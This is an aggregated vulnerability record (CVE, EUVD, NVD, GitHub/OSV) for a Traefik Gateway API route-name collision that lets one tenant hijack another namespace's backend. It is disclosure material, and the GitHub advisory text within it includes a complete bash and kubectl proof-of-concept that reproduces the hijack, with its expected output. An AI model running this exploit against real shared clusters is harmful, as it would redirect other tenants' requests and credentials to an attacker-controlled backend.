{"id":"EUVD-2026-54299","revision":null,"records":[{"revision":"e9e28250374e47938fcdef0b2e3828a0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-71327","aliases":[],"title":"Traefik: Gateway API route identity collision allows cross-namespace backend hijacking","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.","state":0,"publishedAt":"2026-08-06T16:38:11.6+00:00","modifiedAt":"2026-08-07T15:41:26.662+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 3.0.0, < 3.6.25\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.7.0, < 3.7.10\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx","https://github.com/traefik/traefik/pull/13580","https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-71327","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-71327","identifiers":["CVE-2026-71327"]},"retained":false,"historicalAffected":[]},{"revision":"107b254fa51b45759a289539e18c2ae1","observedAt":"2026-11-11T16:02:20.871+00:00","statement":{"source":"euvd","id":"EUVD-2026-54299","aliases":["CVE-2026-71327","GHSA-fgjj-px3w-67xx"],"title":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds…","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"severity":null}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx","https://github.com/traefik/traefik/pull/13580","https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-54299","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 6, 2026, 4:38:11 PM","dateUpdated":"Aug 7, 2026, 3:41:26 PM"},"relatedAdvisories":[{"id":"RHSA-2026:90321","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.31.0 Release.","vulnerabilityIds":["CVE-2023-54404","CVE-2025-62718","CVE-2026-8643","CVE-2026-9496","CVE-2026-12185","CVE-2026-13697","CVE-2026-14682","CVE-2026-15076","CVE-2026-16308","CVE-2026-17106","CVE-2026-18427","CVE-2026-19203","CVE-2026-19534","CVE-2026-39820","CVE-2026-41178","CVE-2026-41707","CVE-2026-42499","CVE-2026-42502","CVE-2026-45416","CVE-2026-47884","CVE-2026-47886","CVE-2026-47888","CVE-2026-47890","CVE-2026-47892","CVE-2026-50010","CVE-2026-55831","CVE-2026-55833","CVE-2026-55851","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-56852","CVE-2026-56854","CVE-2026-58062","CVE-2026-59280","CVE-2026-59282","CVE-2026-59283","CVE-2026-59296","CVE-2026-59313","CVE-2026-59323","CVE-2026-59651","CVE-2026-59887","CVE-2026-59899","CVE-2026-59901","CVE-2026-62243","CVE-2026-64607","CVE-2026-67213","CVE-2026-67312","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-68494","CVE-2026-68497","CVE-2026-69152","CVE-2026-69192","CVE-2026-71290","CVE-2026-71324","CVE-2026-71325","CVE-2026-71327","CVE-2026-73500","CVE-2026-73508","CVE-2026-74835","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-76169","CVE-2026-81521","CVE-2026-82417","CVE-2026-82562","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84428","CVE-2026-84445","CVE-2026-84469","CVE-2026-84504","CVE-2026-84961","CVE-2026-85062","CVE-2026-85124","CVE-2026-85152","CVE-2026-85595","CVE-2026-85597","CVE-2026-86063","CVE-2026-87743","CVE-2026-88004","CVE-2026-88007","CVE-2026-88008","CVE-2026-88009","CVE-2026-88011","CVE-2026-88012","CVE-2026-88031","CVE-2026-88878","CVE-2026-88879","CVE-2026-90711","CVE-2026-93749","CVE-2026-100655","CVE-2026-100656","CVE-2026-100666","CVE-2026-101916","CVE-2026-102925","CVE-2026-102930","CVE-2026-103435","CVE-2026-109618","CVE-2026-109619"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-54299","identifiers":["EUVD-2026-54299","CVE-2026-71327","GHSA-fgjj-px3w-67xx"]},"retained":false,"historicalAffected":[]},{"revision":"84f87a069aed480dbdd19afa6fd1df07","observedAt":"2026-10-25T15:18:57.446+00:00","statement":{"source":"nvd","id":"CVE-2026-71327","aliases":[],"title":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds…","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.","state":0,"publishedAt":"2026-08-06T22:18:29.81+00:00","modifiedAt":"2026-09-16T20:44:53.467+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.6,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9","https://github.com/traefik/traefik/pull/13580","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10","https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71327","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-694"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-06T22:18:29.810","lastModified":"2026-09-16T20:44:53.467"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-71327","identifiers":["CVE-2026-71327"]},"retained":false,"historicalAffected":[]},{"revision":"47318312c1a9422382dcf110143f0d25","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-fgjj-px3w-67xx","aliases":["CVE-2026-71327","GO-2026-6209"],"title":"Traefik: Gateway API route identity collision allows cross-namespace backend hijacking","description":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.25\n- https://github.com/traefik/traefik/releases/tag/v3.7.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\n\nTraefik's Kubernetes Gateway provider constructs internal HTTPRoute and\nGRPCRoute identities by concatenating namespace, route name, Gateway identity,\nentrypoint, and rule index with hyphens. Kubernetes names may themselves\ncontain hyphens, so the construction is not injective.\n\nFor example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same\nGateway with the same match rule, produce identical router and service keys.\nDuring configuration merging, the route loaded later overwrites the earlier\nroute's maps. A tenant that can create an accepted Route in a colliding\nnamespace/name combination can therefore redirect another namespace's\ntraffic to an attacker-controlled backend.\n\nThe official v3.7.8 binary was reproduced returning the victim backend before\nthe second Route was created and the attacker backend immediately afterward.\nThe victim Route had the earlier creation timestamp and should win the\nequivalent-match conflict under Gateway API precedence rules.\n\n## Details\n\nThe HTTPRoute provider creates a route key as follows:\n\n```go\nrouteKey := provider.Normalize(fmt.Sprintf(\n\t\"%s-%s-%s-gw-%s-%s-ep-%s-%d\",\n\tstrings.ToLower(kindHTTPRoute),\n\troute.Namespace,\n\troute.Name,\n\tgatewayNamespace,\n\tgatewayName,\n\tlistener.EPName,\n\tri,\n))\n```\n\n`Normalize` replaces non-alphanumeric runs with `-`, but it does not encode\nfield lengths or otherwise preserve component boundaries:\n\n```go\nfunc Normalize(name string) string {\n\tfargs := func(c rune) bool {\n\t\treturn !unicode.IsLetter(c) && !unicode.IsNumber(c)\n\t}\n\treturn strings.Join(strings.FieldsFunc(name, fargs), \"-\")\n}\n```\n\nThese distinct objects therefore have the same normalized key:\n\n```text\nnamespace=team,   route=a-app\nnamespace=team-a, route=app\n\nhttproute-team-a-app-gw-gateway-shared-ep-web-0\n```\n\n`makeRouterName` adds a hash of the routing rule. When the attacker copies the\nvictim's hostname and path, that hash is also identical. Child service and\nmiddleware names are derived from the same parent identity.\n\nEach Route is built into a temporary configuration and then merged into the\nprovider-wide configuration with `maps.Copy`:\n\n```go\nmaps.Copy(to.HTTP.Routers, from.HTTP.Routers)\nmaps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)\nmaps.Copy(to.HTTP.Services, from.HTTP.Services)\nmaps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)\n```\n\n`maps.Copy` replaces an existing value for a duplicate key. No collision is\nreported, and the resulting router points to the later Route's backend. The\nGRPCRoute implementation uses the same delimiter-free route-key format and\nthe same HTTP configuration merge path.\n\n### Attack prerequisites\n\nThe attacker needs permission to create or modify an HTTPRoute or GRPCRoute\nthat the shared Gateway accepts. Exploitation also requires namespace and\nRoute names whose concatenation collides with a victim. The attacker does not\nneed permission to read or modify the victim Route, Service, or namespace.\n\n## Proof of Concept\n\nPrerequisites:\n\n- a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;\n- `kubectl` configured for that cluster;\n- curl;\n- local TCP port 18080 available.\n\nThe following script embeds all objects used by the reproduction. It runs the\nofficial `traefik:v3.7.8` image, creates the victim Route first, verifies the\nvictim backend, then creates the colliding attacker Route and repeats the\nrequest.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nkubectl apply -f - <<'YAML'\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: gateway\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: team\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: team-a\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: traefik-route-collision-lab\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: cluster-admin\nsubjects:\n- kind: ServiceAccount\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: traefik-audit\n  namespace: gateway\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: traefik-audit\n  template:\n    metadata:\n      labels:\n        app: traefik-audit\n    spec:\n      serviceAccountName: traefik-audit\n      containers:\n      - name: traefik\n        image: traefik:v3.7.8\n        args:\n        - --entryPoints.web.address=:8000\n        - --providers.kubernetesgateway=true\n        - --global.checkNewVersion=false\n        - --global.sendAnonymousUsage=false\n        - --log.level=ERROR\n        ports:\n        - name: web\n          containerPort: 8000\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: GatewayClass\nmetadata:\n  name: traefik-route-collision-lab\nspec:\n  controllerName: traefik.io/gateway-controller\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: Gateway\nmetadata:\n  name: shared\n  namespace: gateway\nspec:\n  gatewayClassName: traefik-route-collision-lab\n  listeners:\n  - name: web\n    protocol: HTTP\n    port: 8000\n    allowedRoutes:\n      namespaces:\n        from: All\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: victim\n  namespace: team\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: victim\n  template:\n    metadata:\n      labels:\n        app: victim\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=VICTIM_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team\nspec:\n  selector:\n    app: victim\n  ports:\n  - port: 80\n    targetPort: 5678\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: a-app\n  namespace: team\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nkubectl -n gateway rollout status deployment/traefik-audit --timeout=120s\nkubectl -n team rollout status deployment/victim --timeout=120s\n\nkubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \\\n  >/dev/null 2>&1 &\nPORT_FORWARD_PID=$!\ntrap 'kill \"$PORT_FORWARD_PID\" 2>/dev/null || true' EXIT\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H 'Host: collision.example' \\\n    http://127.0.0.1:18080/ 2>/dev/null || true)\n  if [ \"$RESPONSE\" = \"VICTIM_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf 'before collision: %s\\n' \"$RESPONSE\"\n\nsleep 2\n\nkubectl apply -f - <<'YAML'\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: attacker\n  namespace: team-a\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: attacker\n  template:\n    metadata:\n      labels:\n        app: attacker\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=ATTACKER_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team-a\nspec:\n  selector:\n    app: attacker\n  ports:\n  - port: 80\n    targetPort: 5678\nYAML\n\nkubectl -n team-a rollout status deployment/attacker --timeout=120s\n\nkubectl apply -f - <<'YAML'\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: app\n  namespace: team-a\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H 'Host: collision.example' \\\n    http://127.0.0.1:18080/ 2>/dev/null || true)\n  if [ \"$RESPONSE\" = \"ATTACKER_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf 'after collision:  %s\\n' \"$RESPONSE\"\n\nkubectl get httproute -A --sort-by=.metadata.creationTimestamp\n```\n\nExpected output on v3.7.8:\n\n```text\nbefore collision: VICTIM_BACKEND\nafter collision:  ATTACKER_BACKEND\nNAMESPACE   NAME    HOSTNAMES\nteam        a-app   [\"collision.example\"]\nteam-a      app     [\"collision.example\"]\n```\n\nThe first Route is older, but creating the second Route changes existing\nvictim traffic to the attacker backend. The same test was also run with the\nofficial standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster.\nThe release archive had SHA-256\n`dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`.\n\n## Impact\n\nIn a shared Gateway deployment, a Route author can hijack requests belonging\nto another namespace when the object names admit a collision. Requests,\ncredentials, authorization headers, and response data can be delivered to an\nattacker-controlled backend. The attacker can also return forged application\ncontent or accept state-changing requests intended for the victim. The\nfavorable naming relationship and accepted shared Gateway are reflected in\nthe high attack-complexity rating.\n\n</details>\n\n---","state":0,"publishedAt":"2026-08-06T16:38:18+00:00","modifiedAt":"2026-08-18T15:10:46.433651+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.6.25"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx","https://github.com/traefik/traefik/pull/13580","https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9","https://github.com/traefik/traefik","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://github.com/advisories/GHSA-fgjj-px3w-67xx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fgjj-px3w-67xx","identifiers":["GHSA-fgjj-px3w-67xx","CVE-2026-71327","GO-2026-6209"]},"retained":false,"historicalAffected":[]},{"revision":"32ae4f8be2124bdfbf9e775ebb8512ae","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6209","aliases":["CVE-2026-71327","GHSA-fgjj-px3w-67xx"],"title":"Traefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik","description":"Traefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:24.1121593+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.6.25"},{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx","https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9","https://github.com/traefik/traefik/pull/13580","https://github.com/traefik/traefik/releases/tag/v3.6.25","https://github.com/traefik/traefik/releases/tag/v3.7.10"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6209","license":"OSV · upstream source license applies","key":"osv:GO-2026-6209","identifiers":["GO-2026-6209","CVE-2026-71327","GHSA-fgjj-px3w-67xx"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T09:56:58.0475153+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T09:56:58.0475153+00:00","lastSuccessAt":"2026-11-13T09:56:58.2099581+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:58.2099587+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-34cd709e5a7980bd64603fef264386c6773edbeefa1003d00f6c892f1a82ba78","complete":true,"records":425015,"lastAttemptAt":"2026-11-13T09:56:57.738401+00:00","lastSuccessAt":"2026-11-13T09:56:57.6929119+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:57.738401+00:00","snapshotPublishedAt":"2026-11-13T09:29:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4189021905f4442a93afe149a0fe7218","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T10:00:24.1261082+00:00","lastSuccessAt":"2026-11-13T10:00:24.1849444+00:00","error":null,"lastVerifiedAt":"2026-11-13T10:00:24.1849444+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T09:56:58.0475153+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T09:56:58.0475153+00:00","lastSuccessAt":"2026-11-13T09:56:58.2109737+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:58.2109738+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4ba957c820134164a894230a688495c2","complete":true,"records":13793,"lastAttemptAt":"2026-11-13T09:56:59.8152537+00:00","lastSuccessAt":"2026-11-13T09:56:59.811+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:59.811+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T09:56:58.0026399+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:58.0026399+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T09:56:57.7985974+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:57.7985974+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T09:56:58.0153464+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:58.0153464+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-24050939c62dd3b6b6239735dfea28a7170f2b40b5de29359847ee068e1ec8ff","complete":true,"records":231770,"lastAttemptAt":"2026-11-13T09:56:57.9057957+00:00","lastSuccessAt":"2026-11-13T08:59:14.8600113+00:00","error":null,"lastVerifiedAt":"2026-11-13T09:56:57.9057957+00:00","snapshotPublishedAt":"2026-11-13T08:32:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}